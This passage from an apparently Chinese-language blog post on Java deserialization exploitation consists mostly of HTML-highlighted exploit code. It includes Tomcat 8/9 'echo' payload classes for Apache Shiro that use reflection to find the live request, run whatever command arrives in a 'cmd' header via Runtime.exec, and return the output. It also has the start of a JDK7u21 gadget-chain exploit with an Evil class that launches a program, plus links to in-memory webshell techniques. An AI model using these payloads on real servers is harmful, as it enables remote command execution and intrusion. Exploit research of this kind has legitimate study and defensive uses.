keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> m<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>m<span class="token operator">&lt;</span>processors<span class="token punctuation">.</span><span class="token function">size</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>m<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                        <span class="token class-name">Object</span> o <span class="token operator">=</span> processors<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>m<span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token keyword">if</span><span class="token punctuation">(</span>o <span class="token operator">!=</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> o<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"RequestInfo"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                            field <span class="token operator">=</span> o<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"req"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                            field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                            obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>o<span class="token punctuation">)</span><span class="token punctuation">;</span>                            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>obj<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"null"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                                <span class="token class-name">Request</span> request <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Request</span><span class="token punctuation">)</span> obj<span class="token punctuation">;</span>                                <span class="token class-name">String</span> cmd <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getHeader</span><span class="token punctuation">(</span><span class="token string">"cmd"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token class-name">InputStream</span> in <span class="token operator">=</span> <span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getInputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token class-name">ByteArrayOutputStream</span> byteArrayOutputStream <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> buff <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token number">1024</span><span class="token punctuation">]</span><span class="token punctuation">;</span>                                <span class="token keyword">int</span> rc <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>                                <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>rc <span class="token operator">=</span> in<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1024</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                                    byteArrayOutputStream<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> rc<span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token punctuation">&#125;</span>                                <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> buf <span class="token operator">=</span> byteArrayOutputStream<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token class-name">ByteChunk</span> bc <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteChunk</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                bc<span class="token punctuation">.</span><span class="token function">setBytes</span><span class="token punctuation">(</span>buf<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> buf<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span>                                request<span class="token punctuation">.</span><span class="token function">getResponse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">doWrite</span><span class="token punctuation">(</span>bc<span class="token punctuation">)</span><span class="token punctuation">;</span>                            <span class="token punctuation">&#125;</span>                        <span class="token punctuation">&#125;</span>                    <span class="token punctuation">&#125;</span>                <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span><span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token annotation punctuation">@Override</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> handlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span>    <span class="token punctuation">&#125;</span>    <span class="token annotation punctuation">@Override</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h4 id="Tomcat8-9回显"><a href="#Tomcat8-9回显" class="headerlink" title="Tomcat8/9回显"></a>Tomcat8/9回显</h4><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">DOM</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">TransletException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>runtime<span class="token punctuation">.</span></span><span class="token class-name">AbstractTranslet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>dtm<span class="token punctuation">.</span></span><span class="token class-name">DTMAxisIterator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span><span class="token class-name">SerializationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Field</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>nio<span class="token punctuation">.</span></span><span class="token class-name">ByteBuffer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">ArrayList</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>coyote<span class="token punctuation">.</span></span><span class="token class-name">Request</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token operator">*</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> tomcat89Shiro <span class="token keyword">extends</span> <span class="token class-name">AbstractTranslet</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token function">tomcat89Shiro</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>            <span class="token class-name">ThreadGroup</span> group <span class="token operator">=</span> <span class="token class-name">Thread</span><span class="token punctuation">.</span><span class="token function">currentThread</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getThreadGroup</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token class-name">Field</span> field <span class="token operator">=</span> group<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"threads"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token class-name">Thread</span><span class="token punctuation">[</span><span class="token punctuation">]</span> threads <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Thread</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>group<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token class-name">Thread</span> thread<span class="token operator">:</span>threads<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token class-name">String</span> name <span class="token operator">=</span> thread<span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">if</span><span class="token punctuation">(</span>name<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> name<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"Poller"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                    field <span class="token operator">=</span> thread<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"target"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token class-name">Object</span> obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>thread<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"this$0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getSuperclass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getSuperclass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"handler"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"global"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"processors"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token class-name">ArrayList</span> processors <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">ArrayList</span><span class="token punctuation">)</span> obj<span class="token punctuation">;</span>                    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> m<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>m<span class="token operator">&lt;</span>processors<span class="token punctuation">.</span><span class="token function">size</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>m<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                        <span class="token class-name">Object</span> o <span class="token operator">=</span> processors<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>m<span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token keyword">if</span><span class="token punctuation">(</span>o <span class="token operator">!=</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> o<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"RequestInfo"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                            field <span class="token operator">=</span> o<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"req"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                            field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                            obj <span class="token operator">=</span> field<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>o<span class="token punctuation">)</span><span class="token punctuation">;</span>                            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>obj<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"null"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                                <span class="token class-name">Request</span> request <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Request</span><span class="token punctuation">)</span> obj<span class="token punctuation">;</span>                                <span class="token class-name">String</span> cmd <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getHeader</span><span class="token punctuation">(</span><span class="token string">"cmd"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token class-name">InputStream</span> in <span class="token operator">=</span> <span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getInputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token class-name">ByteArrayOutputStream</span> byteArrayOutputStream <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> buff <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token number">1024</span><span class="token punctuation">]</span><span class="token punctuation">;</span>                                <span class="token keyword">int</span> rc <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>                                <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>rc <span class="token operator">=</span> in<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1024</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                                    byteArrayOutputStream<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> rc<span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token punctuation">&#125;</span>                                <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> buf <span class="token operator">=</span> byteArrayOutputStream<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                request<span class="token punctuation">.</span><span class="token function">getResponse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">doWrite</span><span class="token punctuation">(</span><span class="token class-name">ByteBuffer</span><span class="token punctuation">.</span><span class="token function">wrap</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                            <span class="token punctuation">&#125;</span>                        <span class="token punctuation">&#125;</span>                    <span class="token punctuation">&#125;</span>                <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span><span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token annotation punctuation">@Override</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> handlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span>    <span class="token punctuation">&#125;</span>    <span class="token annotation punctuation">@Override</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Payload/image-20210914011206361.png" alt loading="lazy"></p><p>回显这里可以参考以下文章思路</p><ul><li><p><a href="https://xz.aliyun.com/t/7307">linux下java反序列化通杀回显方法的低配版实现</a></p></li><li><p><a href="https://www.00theway.org/2020/01/17/java-god-s-eye/">通杀漏洞利用回显方法-linux平台</a></p></li><li><p><a href="https://xz.aliyun.com/t/7348">Tomcat中一种半通用回显方法</a></p></li><li><p><a href="https://xz.aliyun.com/t/7388">基于tomcat的内存 Webshell 无文件攻击技术</a></p></li><li><p><a href="https://xz.aliyun.com/t/7535">tomcat不出网回显连续剧第六集</a></p></li><li><p><a href="http://xiashang.xyz/2020/12/27/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E5%9B%9B%EF%BC%88%E5%AE%9E%E6%88%98%E7%AF%87%EF%BC%89/">Shiro反序列化漏洞笔记四（实战篇）</a></p></li><li><p><a href="https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/">半自动化挖掘request实现多种中间件回显</a>  目前使用的主要方法</p></li></ul><h3 id="JDK7u21原生链"><a href="#JDK7u21原生链" class="headerlink" title="JDK7u21原生链"></a>JDK7u21原生链</h3><p>Evil.java</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">package</span> <span class="token namespace">com<span class="token punctuation">.</span>rce</span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">DOM</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span></span><span class="token class-name">TransletException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>runtime<span class="token punctuation">.</span></span><span class="token class-name">AbstractTranslet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>dtm<span class="token punctuation">.</span></span><span class="token class-name">DTMAxisIterator</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span><span class="token class-name">SerializationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Evil</span> <span class="token keyword">extends</span> <span class="token class-name">AbstractTranslet</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> handlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token class-name">Evil</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">super</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Hello TemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"calc.exe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>rce代码如下</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TemplatesImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xalan<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>xsltc<span class="token punctuation">.</span>trax<span class="token punctuation">.</span></span><span class="token class-name">TransformerFactoryImpl</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javassist<span class="token punctuation">.</span></span><span class="token class-name">ClassPool</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javassist<span class="token punctuation">.</span></span><span class="token class-name">CtClass</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>transform<span class="token punctuation">.</span></span><span class="token class-name">Templates</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Constructor</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span 